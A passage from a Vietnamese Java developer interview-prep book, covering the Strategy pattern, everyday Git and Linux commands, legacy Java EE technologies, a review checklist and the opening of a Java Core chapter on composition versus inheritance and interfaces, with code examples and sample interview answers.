Strategy: đóng gói từng thuật toán thành class riêng cùng interface để đổi lúc chạy, thay cho if-else.
	import java.math.BigDecimal;
 
interface DiscountStrategy { BigDecimal apply(BigDecimal price); }
 
record PercentDiscount(int percent) implements DiscountStrategy {       // one class per algorithm
    public BigDecimal apply(BigDecimal p) {
        return p.multiply(BigDecimal.valueOf(100 - percent)).divide(BigDecimal.valueOf(100));
    }
}



Giải thích: new PercentDiscount(10).apply(new BigDecimal("200")) trả 180. Code thanh toán chỉ nhận một DiscountStrategy và gọi apply, không cần biết đang giảm kiểu gì; thêm "giảm cố định 50k" là thêm class mới, không sửa code cũ. Gặp trong Comparator truyền vào sort(); trong Spring, tiêm Map<String, DiscountStrategy> rồi chọn theo key (Chương 10).
Vì DiscountStrategy chỉ có một method abstract, nó là functional interface và mỗi chiến lược có thể viết bằng lambda. Đoạn dưới chọn chiến lược theo mã khuyến mãi lúc chạy, không có if-else nào:
	import java.math.BigDecimal;
import java.util.List;
import java.util.Map;
 
interface DiscountStrategy { BigDecimal apply(BigDecimal price); }
 
public class CheckoutDemo {
    public static void main(String[] args) {
        Map<String, DiscountStrategy> strategies = Map.of(
            "NONE", p -> p,
            "PERCENT10", p -> p.multiply(new BigDecimal("0.9")),
            "FIXED50", p -> p.subtract(new BigDecimal("50")));
        BigDecimal price = new BigDecimal("200");
        for (String code : List.of("NONE", "PERCENT10", "FIXED50")) {
            System.out.println(code + " -> " + strategies.get(code).apply(price));
        }
        // prints: NONE -> 200 | PERCENT10 -> 180.0 | FIXED50 -> 150
    }
}



Giải thích: in NONE -> 200, PERCENT10 -> 180.0, FIXED50 -> 150. 180.0 có một chữ số thập phân vì BigDecimal.multiply cộng scale của hai số (0 + 1). Thêm mã khuyến mãi mới là thêm một dòng vào Map, vòng lặp giữ nguyên. Trong Spring, map này không cần viết tay: khai báo mỗi chiến lược là một bean có tên, rồi inject Map<String, DiscountStrategy> như cách sửa thứ ba của NoUniqueBeanDefinitionException ở N2.7.
Câu hỏi (Cơ bản): Factory khác Builder thế nào?
Factory quyết định tạo class nào, trả object hoàn chỉnh trong một lời gọi. Builder quyết định tạo object như thế nào khi có nhiều tham số, lắp dần rồi build().
Câu hỏi (Đọc code): Đoạn code dưới in ra gì?
	public class SingletonQuiz {
    static final class Counter {
        private static final Counter INSTANCE = new Counter();
        private int value;
        private Counter() {}
        static Counter get() { return INSTANCE; }
        int next() { return ++value; }
    }
 
    public static void main(String[] args) {
        Counter a = Counter.get();
        Counter b = Counter.get();
        a.next();
        b.next();
        System.out.println(a == b);
        System.out.println(b.next());
    }
}



Đáp án:
In true rồi 3. a và b là cùng một object INSTANCE, nên a == b là true, và ba lần next() (qua a một lần, qua b hai lần) cùng tăng một biến value: 1, 2, 3. Đây là Singleton kiểu eager: object được tạo ngay khi class Counter được nạp, thread-safe nhờ JVM. Lưu ý next() ở đây không synchronized, nên nếu nhiều thread cùng gọi thì có thể mất lượt tăng (N1.13), khác với IdGenerator ở trên.
Câu hỏi (Hiểu sâu): Strategy khác gì so với một khối if-else theo loại? Khi nào if-else vẫn ổn?
Strategy tách mỗi nhánh thành một class (hoặc lambda) riêng sau một interface, nên thêm nhánh mới không phải sửa code đang chạy; if-else gom mọi nhánh vào một method, thêm nhánh là sửa method đó. Khi có 2–3 nhánh đơn giản và ít thay đổi, if-else hay switch vẫn dễ đọc hơn, tạo thêm interface và năm class là over-engineering. Chuyển sang Strategy khi số nhánh tăng dần theo thời gian, mỗi nhánh có logic dài, cần test riêng từng nhánh, hoặc cần chọn nhánh theo cấu hình lúc chạy.
Câu hỏi (Hiểu sâu): Spring áp dụng Singleton, Factory, Proxy và Observer ở đâu?
Mỗi pattern đều có mặt trong những thứ bạn đã dùng ở các mục trước. Singleton: scope mặc định của bean, một instance mỗi container (N2.7). Factory: ApplicationContext/BeanFactory tạo bean, method @Bean là factory method. Proxy: @Transactional, @Cacheable và aspect ở N2.10 đều chạy qua proxy bọc quanh bean thật. Observer: ApplicationEventPublisher.publishEvent(...) và @EventListener. Ngoài ra JdbcTemplate là Template Method kết hợp Facade, còn HandlerMapping trong DispatcherServlet (N2.6) là một dạng Strategy.
N2.13 Git và Linux cơ bản
Git là công cụ quản lý phiên bản: lưu lại lịch sử mọi thay đổi của mã nguồn dưới dạng các commit (mỗi commit là một bản chụp toàn bộ dự án kèm lời mô tả), cho phép nhiều người làm song song trên các nhánh (branch) rồi gộp lại. Repository (repo) là thư mục dự án cộng toàn bộ lịch sử đó; bản trên máy bạn là local, bản trên GitHub/GitLab là remote, thường tên origin.
Luồng Git hằng ngày trên một nhánh tính năng:
	git clone https://git.corp.vn/hr/employee-service.git
git switch -c feature/salary-api        # create a new branch and switch to it (old way: git checkout -b)
git add src/                            # move changes into the staging area
git commit -m "Add salary API"          # save a snapshot into local history
git fetch origin                        # download new commits from remote, NOT merged yet
git merge origin/main                   # merge the latest main into the current branch
git push -u origin feature/salary-api   # push to remote, then open a pull request



Giải thích: thay đổi đi qua working directory, staging area (sau add), local repository (sau commit), rồi lên remote (sau push). git pull bằng fetch cộng merge (hoặc rebase nếu cấu hình); fetch riêng cho bạn xem trước rồi mới gộp.
Lệnh bạn nên gõ nhiều nhất là git status, vì nó cho biết từng file đang ở vùng nào. Output mẫu khi đã add một file và còn sửa một file khác chưa add:
	git status
# On branch feature/salary-api
# Changes to be committed:
#   (use "git restore --staged <file>..." to unstage)
#     modified:   src/main/java/com/corp/hr/SalaryController.java
#
# Changes not staged for commit:
#   (use "git add <file>..." to update what will be committed)
#     modified:   src/main/resources/application.yml
 
git log --oneline -3
# 9c1e2f4 (HEAD -> feature/salary-api) Add salary API
# 51ab0d7 (origin/main, main) Fix email validation
# 3f8d9aa Add employee CRUD



Giải thích: "Changes to be committed" là staging area: SalaryController.java sẽ nằm trong commit tới. "Changes not staged" là working directory: application.yml đã sửa nhưng sẽ không vào commit tới nếu không add. Đây là cách tránh vô tình commit file cấu hình chứa mật khẩu. git log --oneline in mỗi commit một dòng: mã hash rút gọn, nhãn nhánh đang trỏ tới, lời mô tả; HEAD là vị trí bạn đang đứng.
Khi hai người sửa cùng một dòng, merge dừng lại và đánh dấu conflict trong file:
	<<<<<<< HEAD
    private static final int PAGE_SIZE = 20;
=======
    private static final int PAGE_SIZE = 50;
>>>>>>> origin/main



Giải thích: phần trên ======= là code nhánh của bạn, phần dưới là code từ nhánh đang gộp vào. Chọn một bên hoặc kết hợp, xóa ba dòng đánh dấu, chạy build và test, rồi git add, git commit; muốn bỏ dở thì git merge --abort. Chưa chắc logic bên kia thì hỏi người viết.
Trước khi thấy các dấu đó trong file, bạn sẽ thấy Git báo ngay trên terminal lúc merge:
	git merge origin/main
# Auto-merging src/main/java/com/corp/hr/PageConfig.java
# CONFLICT (content): Merge conflict in src/main/java/com/corp/hr/PageConfig.java
# Automatic merge failed; fix conflicts and then commit the result.



Giải thích: Git tự gộp được mọi file khác, chỉ dừng ở file mà hai bên sửa cùng chỗ. Lúc này git status liệt kê file đó dưới mục "Unmerged paths"; bạn sửa như hướng dẫn ở trên, git add file đó để báo "đã giải quyết", rồi git commit để hoàn tất merge.
	Việc cần làm
	Lệnh
	Ghi chú

	Theo dõi log realtime
	tail -f app.log
	Ctrl+C để thoát

	Tìm lỗi trong log
	grep -n -A 20 "ERROR" app.log
	In thêm 20 dòng sau để thấy stack trace

	Xem file lớn
	less app.log
	/ tìm, G xuống cuối, q thoát

	Đặt biến môi trường
	export SPRING_PROFILES_ACTIVE=prod
	Chỉ trong phiên shell hiện tại

	Chạy script
	chmod +x start.sh rồi ./start.sh
	Cấp quyền thực thi trước

	Tìm tiến trình
	ps -ef kết hợp grep java
	Lấy PID

	Dừng tiến trình
	kill <PID>
	kill -9 chỉ khi treo hẳn

	Dung lượng đĩa, thư mục
	df -h, du -sh logs/
	Đĩa đầy là lỗi kinh điển



Biến đặt bằng export được truyền cho tiến trình con nhưng mất khi đóng phiên; muốn lâu dài thì ghi vào ~/.bashrc hoặc cấu hình service. kill mặc định gửi SIGTERM để Spring Boot tắt êm; kill -9 giết ngay, không dọn dẹp.
Bảng trên dễ quên nếu chưa từng thấy output. Dưới đây là một phiên điều tra điển hình khi ứng dụng báo lỗi trên server, kèm output mẫu (rút gọn):
	ps -ef | grep java
# app  24817     1  3 09:12 ?  00:04:31 java -jar employee-service.jar
# app  25102 25011  0 10:40 pts/0 00:00:00 grep --color=auto java
 
grep -n -A 3 "ERROR" app.log
# 1842:2026-09-24 10:31:07 ERROR c.c.hr.EmployeeController : Request failed
# 1843-org.springframework.dao.DataIntegrityViolationException: could not execute statement
# 1844-    at org.hibernate.exception.internal.SQLStateConversionDelegate.convert(...)
# 1845-    at com.corp.hr.EmployeeService.create(EmployeeService.java:27)
 
df -h /
# Filesystem  Size  Used Avail Use% Mounted on
# /dev/sda1    50G   49G  1.0G  98% /
 
du -sh logs/
# 38G    logs/



Giải thích: ps -ef | grep java cho PID của ứng dụng là 24817 (cột thứ hai); dòng thứ hai là chính lệnh grep vừa chạy, bỏ qua. grep -n -A 3 in số dòng (1842:) và 3 dòng sau mỗi dòng khớp (đánh dấu bằng -), đủ để thấy tên exception và dòng code gây lỗi EmployeeService.java:27. df -h cho thấy ổ đĩa đầy 98%, du -sh logs/ chỉ ra thủ phạm là 38G log không được xoay vòng: ứng dụng sẽ sớm không ghi được file và lỗi hàng loạt. Dừng êm bằng kill 24817.
Câu hỏi (Cơ bản): git fetch khác git pull thế nào?
git fetch chỉ tải commit mới từ remote về và cập nhật các nhánh origin/*, không đụng tới code bạn đang làm; git pull là fetch rồi gộp luôn (merge hoặc rebase) vào nhánh hiện tại. Tôi dùng fetch khi muốn xem trước người khác đã đẩy gì (git log HEAD..origin/main) rồi mới quyết định gộp. pull tiện hơn nhưng có thể bất ngờ sinh conflict hoặc merge commit khi bạn đang dở tay.
Câu hỏi (Thực chiến): Merge main vào nhánh của bạn thì gặp conflict ở file cấu hình PAGE_SIZE. Bạn xử lý thế nào?
Đọc cả hai phiên bản, hiểu vì sao bên kia đổi, chọn hoặc kết hợp, xóa dấu conflict, build và chạy test, rồi git add và git commit. Cụ thể: git status xem file nào conflict; mở file, phần giữa <<<<<<< HEAD và ======= là của mình, phần tới >>>>>>> là của main; nếu không rõ vì sao main đổi 20 thành 50 thì git log -p origin/main -- <file> hoặc hỏi người sửa. Không bao giờ chọn bừa "giữ của mình" để cho xong, vì làm vậy âm thầm xóa thay đổi của đồng nghiệp. Làm rối quá thì git merge --abort để quay về trước khi merge.
Câu hỏi (Hiểu sâu): kill khác kill -9 thế nào, vì sao nên thử kill trước?
kill <PID> gửi tín hiệu SIGTERM, cho ứng dụng cơ hội tắt êm; kill -9 gửi SIGKILL, hệ điều hành giết ngay, ứng dụng không chạy thêm được dòng code nào. Nhận SIGTERM, Spring Boot ngừng nhận request mới, chờ request đang chạy xong (khi bật graceful shutdown), commit hoặc rollback transaction, đóng connection pool, ghi nốt log. kill -9 cắt ngang tất cả: request đang xử lý bị đứt, file có thể ghi dở. Chỉ dùng -9 khi tiến trình treo, không phản hồi SIGTERM sau một khoảng chờ hợp lý.
Câu hỏi (Thực chiến): Ứng dụng trên server Linux đột nhiên lỗi hàng loạt, log báo No space left on device. Bạn làm gì?
Xác nhận đĩa đầy bằng df -h, tìm thư mục chiếm chỗ bằng du -sh, giải phóng chỗ an toàn, rồi sửa gốc rễ là cấu hình xoay vòng log. Cụ thể: df -h thấy phân vùng 100%; du -sh /var/log/* logs/* tìm thủ phạm, thường là file log hoặc heap dump; nén hoặc xóa log cũ (file log đang được ghi thì làm rỗng bằng truncate -s 0 app.log thay vì rm, vì tiến trình vẫn giữ file đã xóa và không trả lại dung lượng). Sau đó cấu hình logging.logback.rollingpolicy.max-history và total-size-cap trong Spring Boot, hoặc logrotate, để không lặp lại.
N2.14 Công nghệ cũ vẫn có thể bị hỏi
Các công nghệ dưới ít gặp trong dự án mới nhưng còn trong bộ câu hỏi của nhiều công ty; chỉ cần trả lời ở mức "biết là gì".
1. EJB: mô hình component phía server của Java EE (nay là Jakarta EE), chạy trong application server như WildFly, WebLogic. Gồm Session Bean (Stateless, Stateful, Singleton) và Message-Driven Bean xử lý message JMS; Entity Bean đã bị thay bằng JPA entity từ EJB 3.0. Spring ra đời để thay EJB 2 nặng nề, khó test.
1. SOAP và WSDL: SOAP trao đổi message XML bọc trong envelope; WSDL là file XML mô tả operation, kiểu dữ liệu, endpoint, từ đó sinh code client (JAX-WS, Apache CXF, Spring Web Services).
1. XML, XSD, XSLT: XSD định nghĩa cấu trúc hợp lệ của XML (well-formed là đúng cú pháp, valid là khớp XSD); XSLT biến đổi XML sang HTML hoặc XML khác. Java đọc XML bằng DOM (nạp cả cây) hoặc SAX (duyệt theo sự kiện).
1. JAXB: map XML với object qua @XmlRootElement; object sang XML là marshal, ngược lại là unmarshal. JAXB đã bị gỡ khỏi JDK từ Java 11 (JEP 320), nay thêm dependency jakarta.xml.bind-api kèm runtime, package jakarta.xml.bind.
1. JAX-RS, Jersey, WADL: JAX-RS là chuẩn Jakarta EE cho REST (@Path, @GET), Jersey là implementation; Spring MVC dùng annotation riêng. WADL gần như không còn dùng, đã được thay bằng OpenAPI/Swagger.
Để hình dung SOAP "nặng" hơn REST ra sao, so sánh cùng một yêu cầu "lấy nhân viên số 5" ở hai kiểu. REST chỉ cần GET /api/employees/5. SOAP phải gửi POST tới một endpoint chung với body XML bọc trong envelope:
	<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:hr="http://corp.vn/hr">
  <soap:Header/>                          <!-- security, transaction info go here -->
  <soap:Body>
    <hr:GetEmployeeRequest>
      <hr:id>5</hr:id>                    <!-- the actual parameter -->
    </hr:GetEmployeeRequest>
  </soap:Body>
</soap:Envelope>



Giải thích: toàn bộ ý nghĩa "lấy nhân viên 5" nằm trong tên phần tử GetEmployeeRequest, không nằm ở HTTP method hay URL như REST. Tên phần tử, kiểu dữ liệu của id được WSDL/XSD quy định chặt, nên công cụ sinh được code client tự động, đổi lại message dài và khó đọc hơn nhiều. Đó là lý do SOAP còn sống ở ngân hàng, bảo hiểm, nơi hợp đồng chặt được ưu tiên hơn sự gọn nhẹ.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Bị hỏi về công nghệ chưa dùng, hãy nói thật: định nghĩa ngắn, nó giải quyết vấn đề gì, cái gì đang thay thế nó. "Em chưa làm với EJB, nhưng em hiểu nó là... và trong Spring em dùng... cho vai trò tương tự" ghi điểm hơn câu thuộc lòng.



Câu hỏi (Cơ bản): XML well-formed khác valid thế nào?
Well-formed là đúng cú pháp XML (thẻ đóng mở khớp, có đúng một phần tử gốc, thuộc tính có ngoặc kép); valid là vừa well-formed vừa khớp với schema XSD (đúng tên phần tử, thứ tự, kiểu dữ liệu). Ví dụ <id>abc</id> well-formed nhưng không valid nếu XSD quy định id là số nguyên. Mọi XML valid đều well-formed, điều ngược lại không đúng.
Câu hỏi (Thực chiến): Nâng cấp dự án từ Java 8 lên Java 17, code dùng JAXB báo package javax.xml.bind does not exist. Vì sao và sửa thế nào?
JAXB đã bị gỡ khỏi JDK từ Java 11 (JEP 320), nên các package javax.xml.bind không còn sẵn trong JDK. Sửa: thêm dependency jakarta.xml.bind:jakarta.xml.bind-api và một runtime như org.glassfish.jaxb:jaxb-runtime, rồi đổi import từ javax.xml.bind sang jakarta.xml.bind (Spring Boot 3 đã dùng không gian tên jakarta). Cùng đợt gỡ đó còn có JAX-WS và CORBA, nên dự án gọi SOAP cũng cần thêm dependency tương tự.
Câu hỏi (Hiểu sâu): Spring khác EJB ở điểm nào khiến nó thay thế được EJB?
Spring cho phép dùng class Java bình thường (POJO) và chạy ở bất cứ đâu, còn EJB 2 bắt class kế thừa interface đặc thù và phải chạy trong application server nặng. Với EJB 2, muốn test một service phải khởi động cả server; với Spring, service chỉ là class có constructor, test bằng new và mock (đúng lợi ích của DI ở N2.7). Spring cũng mang lại transaction khai báo, bảo mật, remoting mà EJB có, nhưng qua AOP proxy (N2.10). EJB 3 về sau học lại nhiều ý tưởng này và nhẹ hơn hẳn, nhưng lúc đó Spring đã phổ biến.
N2.15 Tóm tắt trọng tâm
1. Khóa chính định danh mỗi dòng, khóa ngoại trỏ tới dòng có thật ở bảng khác, và ràng buộc là lớp bảo vệ cuối cùng vì dữ liệu có thể được ghi từ nhiều nơi ngoài code Java.
1. So sánh với NULL phải dùng IS NULL, vì = NULL, <> 1 hay NOT IN (..., NULL) đều cho UNKNOWN và âm thầm loại dòng khỏi kết quả mà không báo lỗi.
1. INNER JOIN bỏ dòng không có cặp, LEFT JOIN giữ mọi dòng bảng trái, nên chọn loại JOIN theo câu hỏi nghiệp vụ "tất cả X" hay "chỉ những X có Y".
1. Điều kiện trên bảng phải của LEFT JOIN đặt ở ON chứ không ở WHERE, vì đặt ở WHERE sẽ loại các dòng NULL và biến LEFT JOIN thành INNER JOIN.
1. WHERE lọc dòng trước khi gom, HAVING lọc nhóm sau khi gom, và COUNT(cột) bỏ qua NULL còn COUNT(*) thì không, nên đếm sau LEFT JOIN phải dùng COUNT(cột).
1. Index như mục lục sách: đọc nhanh hơn vì không phải quét cả bảng, nhưng tốn chỗ và làm chậm mọi lần ghi, nên chỉ index cột thật sự dùng để lọc và kiểm chứng bằng EXPLAIN.
1. Transaction gom nhiều lệnh thành tất cả hoặc không gì cả, vì chạy từng lệnh ở chế độ autocommit có thể làm tiền bị trừ mà không được cộng khi lỗi giữa chừng.
1. HTTP là stateless nên mỗi request phải tự mang danh tính (cookie chứa session id hoặc token), và status code phải phản ánh đúng kết quả vì máy client dựa vào nó để quyết định.
1. Mọi request vào Spring MVC đi qua Tomcat, Filter, DispatcherServlet rồi mới tới controller, và controller là singleton dùng chung cho nhiều thread nên không được giữ dữ liệu theo request trong field.
1. DI nghĩa là class nhận dependency qua constructor thay vì tự new, vì nhờ vậy thay được implementation khi test và khi đổi hạ tầng mà không sửa class.
1. Có nhiều bean cùng kiểu thì Spring báo NoUniqueBeanDefinitionException ngay lúc khởi động, sửa bằng @Primary, @Qualifier hoặc inject cả List/Map.
1. Thiếu @Valid thì các annotation validation bị bỏ qua mà không có lỗi nào, nên dữ liệu rác lọt vào tới DB.
1. Spring AOP, @Transactional và @Cacheable chạy qua proxy, nên lời gọi nội bộ this.method() không đi qua proxy và mất tác dụng.
1. Entity cần constructor không tham số vì Hibernate tạo object bằng reflection, và chỉ phía owning (có @JoinColumn) mới quyết định giá trị cột khóa ngoại.
1. Quan hệ LAZY chỉ tải được khi persistence context còn mở, nên truy cập sau khi transaction đóng sẽ ném LazyInitializationException, còn truy cập trong vòng lặp dễ sinh N+1 query.
N2.16 Checklist ôn tập
1. Viết DDL đủ loại ràng buộc; giải thích đúng composite key.
1. Vẽ được kết quả các loại JOIN; phân biệt WHERE vs HAVING, COUNT(*) vs COUNT(cột), NOT IN vs NOT EXISTS.
1. Viết câu tìm trùng và lương cao thứ hai; phân biệt DELETE/TRUNCATE/DROP, UNION/UNION ALL, biết view.
1. Nói được index, 1NF/2NF/3NF qua ví dụ, ACID mỗi chữ một câu.
1. Mô tả HTTP request/response, status code, GET vs POST, cookie vs session; kể luồng request qua DispatcherServlet.
1. Giải thích IoC/DI bằng ví dụ; dùng đúng stereotype, @Bean, @Primary/@Qualifier, 6 scope, profile.
1. Tự viết CRUD Entity, Repository, Service, Controller với @Valid và @RestControllerAdvice.
1. Nói được Spring Boot khác Spring ở đâu, đọc pom.xml; giải thích các khái niệm AOP qua ví dụ logging.
1. Map quan hệ với owning side, nhớ fetch mặc định; kể 4 trạng thái entity; giải thích LazyInitializationException.
1. Viết ví dụ ngắn cho Singleton, Factory, Builder, Observer, Facade, Strategy và chỉ ra nơi gặp.
1. Dùng Git (branch, commit, fetch vs pull, merge, conflict) và các lệnh Linux đọc log, quản lý tiến trình.
1. Trả lời ngắn về EJB, SOAP/WSDL, XML/XSD/XSLT, JAXB và biết cái gì thay thế chúng.
Chương 1. Java Core: trả lời ở mức "tại sao"
Với ứng viên 2–4 năm, tôi gần như không hỏi "OOP có mấy tính chất" hay "ArrayList khác LinkedList chỗ nào" để nghe bạn đọc định nghĩa. Tôi hỏi để xem bạn có hiểu cơ chế bên dưới và có từng trả giá vì nó trong dự án thật hay chưa. Một câu trả lời kiểu "HashMap tra cứu O(1)" chỉ là điểm xuất phát; điều tôi muốn nghe là khi nào nó không còn O(1), vì sao key phải bất biến, và bạn đã gặp bug nào liên quan. Chương này đi qua các chủ đề Java Core bị hỏi nhiều nhất, ở đúng độ sâu mà một vị trí Junior+/Middle đòi hỏi.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Bạn chọn composition hay inheritance dựa trên lý do gì, và biết interface hiện đại (Java 8+) khác abstract class ở đâu.
1. Bạn hiểu hợp đồng equals/hashCode và hậu quả cụ thể khi vi phạm trong HashSet/HashMap.
1. Bạn giải thích được HashMap hoạt động bên trong: hash, index, collision, treeify, resize.
1. Bạn dùng Stream, Optional, record, sealed, pattern matching đúng chỗ, và biết lúc nào không nên dùng.
1. Bạn thiết kế exception có chủ đích, không nuốt lỗi, không lạm dụng checked exception.



1.1 OOP: composition, inheritance và interface hiện đại
	NHẮC LẠI KIẾN THỨC
Bốn tính chất OOP (đóng gói, kế thừa, đa hình, trừu tượng) và cách override đã có ở N1.5; abstract class, interface và composition ở mức cơ bản đã có ở N1.7. Nhớ nhất một điều: đa hình nghĩa là lời gọi method được quyết định theo kiểu thật của object lúc chạy, không theo kiểu của biến. Mục này dựa hoàn toàn vào ý đó.



Bốn tính chất đóng gói, kế thừa, đa hình, trừu tượng là kiến thức Fresher. Ở mức 2–4 năm, câu hỏi thật là: bạn dùng chúng để giải quyết vấn đề gì, và bạn tránh được cái bẫy nào. Cái bẫy phổ biến nhất là lạm dụng kế thừa để "tái sử dụng code".
Vì sao "ưu tiên composition hơn inheritance"
Kế thừa tạo ra ràng buộc chặt nhất có thể giữa hai class: class con phụ thuộc vào chi tiết cài đặt của class cha, không chỉ vào API công khai. Khi class cha thay đổi cách cài đặt nội bộ, class con có thể hỏng dù không ai sửa nó. Đây gọi là fragile base class problem. Ví dụ kinh điển dưới đây cố đếm số phần tử được thêm vào một HashSet bằng cách kế thừa và override cả add() lẫn addAll(), và cho kết quả sai:
	import java.util.Collection;
import java.util.HashSet;
import java.util.List;
 
public class CountingSet<E> extends HashSet<E> {
    private int addCount = 0;
 
    @Override
    public boolean add(E e) {
        addCount++;              // called again from super.addAll() -> counted twice
        return super.add(e);
    }
 
    @Override
    public boolean addAll(Collection<? extends E> c) {
        addCount += c.size();
        return super.addAll(c); // internally calls add() for each element
    }
 
    public static void main(String[] args) {
        CountingSet<String> s = new CountingSet<>();
        s.addAll(List.of("a", "b", "c"));
        System.out.println(s.addCount); // prints: 6 (not 3)
    }
}



Giải thích: Chạy main in ra 6 thay vì 3. Kết quả sai vì HashSet.addAll (thừa hưởng từ AbstractCollection) gọi lại add() cho từng phần tử, và do đa hình, lời gọi đó rơi vào chính add() đã override. Mỗi phần tử vì thế bị đếm hai lần: một lần khi addAll cộng c.size() (được 3), một lần nữa trong add (thêm 3). Việc addAll gọi lại add là một chi tiết cài đặt mà tài liệu API không hứa sẽ giữ nguyên: nếu phiên bản JDK sau đổi cách cài đặt, kết quả lại đổi theo dù bạn không sửa dòng nào. Nếu dùng composition, tức là class của bạn chứa một Set và chuyển tiếp (delegate) lời gọi, bạn chỉ phụ thuộc vào API công khai của Set, và lỗi này không thể xảy ra.
Fragile base class nói bằng lời thường
Fragile base class (class cha "mong manh") là tình huống class con viết đúng hoàn toàn, nhưng vẫn hỏng khi class cha thay đổi cách làm việc bên trong. Hình dung bạn thuê nhà và đóng đinh treo tranh vào một bức tường, không biết bên trong tường có ống nước; chủ nhà (class cha) đổi đường ống, tranh của bạn làm thủng ống. Bạn không làm gì sai với "mặt ngoài" của bức tường, nhưng lại phụ thuộc vào thứ bên trong mà không ai hứa giữ nguyên. Với kế thừa, "bên trong" chính là việc method nào của class cha gọi method nào khác, và việc bạn override một method có thể làm thay đổi luồng gọi đó.
Cách sửa là composition: class của bạn chứa một object Set làm field và delegate (chuyển tiếp) lời gọi cho nó. Delegate nghĩa là method của bạn làm phần việc riêng (ở đây là đếm) rồi gọi đúng method tương ứng của object bên trong. Đoạn code dưới đây viết lại CountingSet theo cách đó:
	import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
 
public class CountingSetFixed<E> {
    private final Set<E> inner = new HashSet<>(); // composition: HAS-A set, not IS-A set
    private int addCount = 0;
 
    public boolean add(E e) {
        addCount++;
        return inner.add(e);
    }
 
    public boolean addAll(Collection<? extends E> c) {
        addCount += c.size();
        return inner.addAll(c); // inner calls its OWN add(), never ours
    }
 
    public static void main(String[] args) {
        CountingSetFixed<String> s = new CountingSetFixed<>();
        s.addAll(List.of("a", "b", "c"));
        System.out.println(s.addCount); // prints: 3
    }
}



Giải thích: Lần này chương trình in ra 3. inner.addAll(c) bên trong HashSet vẫn gọi add() cho từng phần tử, nhưng đó là add() của chính HashSet, không phải add() của CountingSetFixed, vì CountingSetFixed không kế thừa HashSet nên không có đa hình nào "bắt" được lời gọi đó. Dù JDK sau này đổi cách cài đặt addAll, kết quả vẫn đúng. Cái giá phải trả là phải tự viết các method muốn công khai (hoặc implement interface Set và delegate toàn bộ); đổi lại bạn chỉ phụ thuộc vào API công khai.
Quy tắc thực tế tôi muốn nghe: dùng kế thừa khi quan hệ thực sự là "is-a" và class cha được thiết kế để kế thừa (thường là abstract class của chính team hoặc của framework); còn lại dùng composition. Trong Spring, gần như mọi service là composition: OrderService có PaymentClient, OrderRepository được inject qua constructor. Cây kế thừa nhiều tầng (Base → AbstractBase → ConcreteBase) trong code nghiệp vụ là mùi code; muốn đổi hành vi theo ngữ cảnh thì dùng Strategy.
Hai thuật ngữ trong đoạn trên: quan hệ is-a ("là một") nghĩa là mọi chỗ dùng class cha đều có thể thay bằng class con mà vẫn đúng, ví dụ SavingsAccount là một Account; còn quan hệ has-a ("có một") là class này dùng class kia làm thành phần, ví dụ OrderService có một PaymentClient. Strategy là mẫu thiết kế trong đó mỗi cách xử lý (tính phí thẻ, tính phí ví) là một class riêng cùng implement một interface, và service nhận interface đó qua constructor, nên muốn đổi hành vi chỉ cần truyền implementation khác thay vì tạo thêm class con.
Interface và abstract class từ Java 8 trở đi
Nhiều tài liệu cũ nói "interface chỉ chứa method trừu tượng". Điều này đã không còn đúng từ Java 8. Hiện tại interface có thể có default method, static method (Java 8) và private method (Java 9). Khác biệt còn lại nằm ở trạng thái và mục đích.
	Tiêu chí
	Interface
	Abstract class

	Trạng thái (field)
	Chỉ hằng public static final
	Có field instance bình thường

	Constructor
	Không có
	Có, dùng để khởi tạo trạng thái chung

	Method có thân
	default, static, private
	Mọi loại, mọi access modifier

	Đa kế thừa
	Một class implement nhiều interface
	Chỉ extends một class

	Mục đích
	Hợp đồng hành vi, "có khả năng làm gì"
	Khung chung có trạng thái, template method



Đoạn code dưới đây minh họa một interface hiện đại có đủ ba loại method có thân (default, static, private) nhưng vẫn không có field trạng thái nào:
	public interface PaymentGateway {
    PaymentResult charge(long amountVnd, String orderId);
 
    // default method: adds behavior without breaking existing implementations
    default PaymentResult chargeOrThrow(long amountVnd, String orderId) {
        requirePositive(amountVnd);
        PaymentResult r = charge(amountVnd, orderId);
        if (!r.success()) throw new IllegalStateException("Thanh toán thất bại: " + orderId);
        return r;
    }
 
    static PaymentGateway noop() {               // static factory inside the interface
        return (amount, orderId) -> new PaymentResult("NOOP-" + orderId, true);
    }
 
    private void requirePositive(long amountVnd) { // private method (Java 9+)
        if (amountVnd <= 0) throw new IllegalArgumentException("Số tiền phải dương");
    }
 
    record PaymentResult(String transactionId, boolean success) {} // nested type, implicitly static
}



Giải thích: Class implement PaymentGateway chỉ bắt buộc cài đặt charge(); chargeOrThrow() được thừa hưởng sẵn nhờ default method, và bên trong nó gọi lại charge() của chính class đó (đa hình). noop() là static factory, gọi qua PaymentGateway.noop() và trả về một lambda được vì interface chỉ có đúng một method trừu tượng. requirePositive() là private nên chỉ dùng nội bộ để các default method không lặp code; class implement không nhìn thấy nó. Điều interface vẫn không làm được là giữ trạng thái: không có field instance, không có constructor.
Lý do Java 8 thêm default method rất thực tế: để thêm stream(), forEach(), removeIf() vào Collection mà không làm vỡ hàng triệu class đang implement interface này. Đó là công cụ tiến hóa API, không phải để biến interface thành abstract class.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Khi được hỏi "chọn interface hay abstract class", hãy trả lời theo trạng thái: cần chia sẻ field và logic khởi tạo thì abstract class; chỉ cần hợp đồng hành vi thì interface. Trong code Spring hiện đại, phần lớn là interface + composition; abstract class thường chỉ xuất hiện ở dạng template (ví dụ một AbstractMessageConsumer xử lý retry, log, gọi hook handle() cho class con).



Nếu một class implement hai interface có cùng chữ ký default method, trình biên dịch buộc bạn override và chọn rõ ràng, ví dụ A.super.log(). Đây là cách Java xử lý "diamond problem" mà không cần đa kế thừa class.
Diamond problem (bài toán hình thoi) là khi một class nhận cùng một method từ hai nguồn khác nhau và không biết nên dùng bản nào; gọi là hình thoi vì sơ đồ kế thừa có dạng A ở trên, B và C ở giữa, D ở dưới. Java giải quyết theo ba quy tắc: (1) method của class (kể cả class cha) luôn thắng default method của interface; (2) interface cụ thể hơn (interface con) thắng interface cha; (3) nếu vẫn còn xung đột thì class bắt buộc override, nếu không sẽ gặp lỗi biên dịch dạng "class Service inherits unrelated defaults for name() from types Logger and Auditor". Xem câu hỏi Đọc code ở mục 1.9 để thấy ví dụ cụ thể.
1.2 equals() và hashCode(): hợp đồng và hậu quả khi vi phạm
	NHẮC LẠI KIẾN THỨC
